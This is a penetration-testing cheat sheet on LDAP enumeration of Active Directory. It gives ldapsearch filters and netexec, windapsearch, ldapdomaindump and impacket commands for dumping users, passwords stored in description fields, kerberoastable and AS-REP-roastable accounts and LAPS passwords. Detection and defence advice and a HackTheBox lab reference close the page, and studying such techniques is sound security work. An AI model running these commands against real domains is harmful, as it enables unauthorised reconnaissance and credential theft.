LDAP Enumeration
Full command arsenal in the cheatsheetLDAP enumeration queries the Active Directory directory service (ports 389/636) to map the whole domain: users, groups, computers, descriptions, SPNs and ACLs. It can often be done with an anonymous bind or with any domain credential, no privileges required.
Why it works. Active Directory IS an LDAP database: every object (account, group, GPO) lives in the tree with its attributes. By design an authenticated user can read almost the entire directory, and some environments allow the anonymous bind. Admins also leave sensitive data in readable fields: a temporary password in the description attribute, service accounts with an SPN (kerberoastable), or the DONT_REQUIRE_PREAUTH flag (AS-REP roastable).
The abuse. You ask the directory for what you want and filter by specific attributes.
Check the bind and the naming context
ldapsearch -x -H ldap://<ip> -s base namingContexts # anonymous bind: get the base DN
ldapsearch -x -H ldap://<ip> -b "DC=<domain>,DC=local" # dump everything (if anon can read)
ldapsearch -x -H ldap://<ip> -D "<user>@<domain>" -w '<pass>' -b "DC=<domain>,DC=local" # authenticatedUseful queries by target
Each line is a distinct LDAP filter depending on what you want (users, passwords in description, kerberoastable, AS-REP roastable, admins, delegation, LAPS):
ldapsearch ... "(objectClass=user)" sAMAccountName description
ldapsearch ... "(&(objectClass=user)(description=*))" sAMAccountName description # secrets in description
ldapsearch ... "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName # kerberoast
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName # AS-REP (no preauth)
ldapsearch ... "(&(objectClass=user)(adminCount=1))" sAMAccountName # protected (admin) accounts
ldapsearch ... "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName # trusted for delegation
ldapsearch ... "(objectClass=computer)" dNSHostName operatingSystem # computers and their OS
ldapsearch ... "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd sAMAccountName # LAPS (if we can read it)Dumping tools
netexec ldap <ip> -u <user> -p <pass> --users --groups
netexec ldap <ip> -u <user> -p <pass> --kerberoasting kb.txt --asreproast asrep.txt
windapsearch.py --dc-ip <ip> -u <user>@<domain> -p <pass> --da # domain admins
ldapdomaindump -u '<domain>\<user>' -p '<pass>' <ip> -o loot # browsable HTML
GetADUsers.py -all <domain>/<user>:<pass> -dc-ip <ip> # impacketRequirements. Reach to LDAP/LDAPS and either an allowed anonymous bind or any domain credential. Without either, the bind fails and nothing is read.
How to detect it. The pattern is a high volume of LDAP queries from a single host, anonymous binds and searches with broad filters (objectClass=*, servicePrincipalName=*). LDAP diagnostic 1644 events and tool signatures (windapsearch, BloodHound) reveal the bulk collection; a spike of reads to the description attribute across many accounts is also suspicious.
Defence. Disable the anonymous bind, don't store passwords in description, apply least privilege on sensitive attributes and monitor bulk collection. It is the step before BloodHound, Password Spraying and RID cycling; distinct from LDAP injection in web apps.
Machines where it's used
- CascadeHackTheBox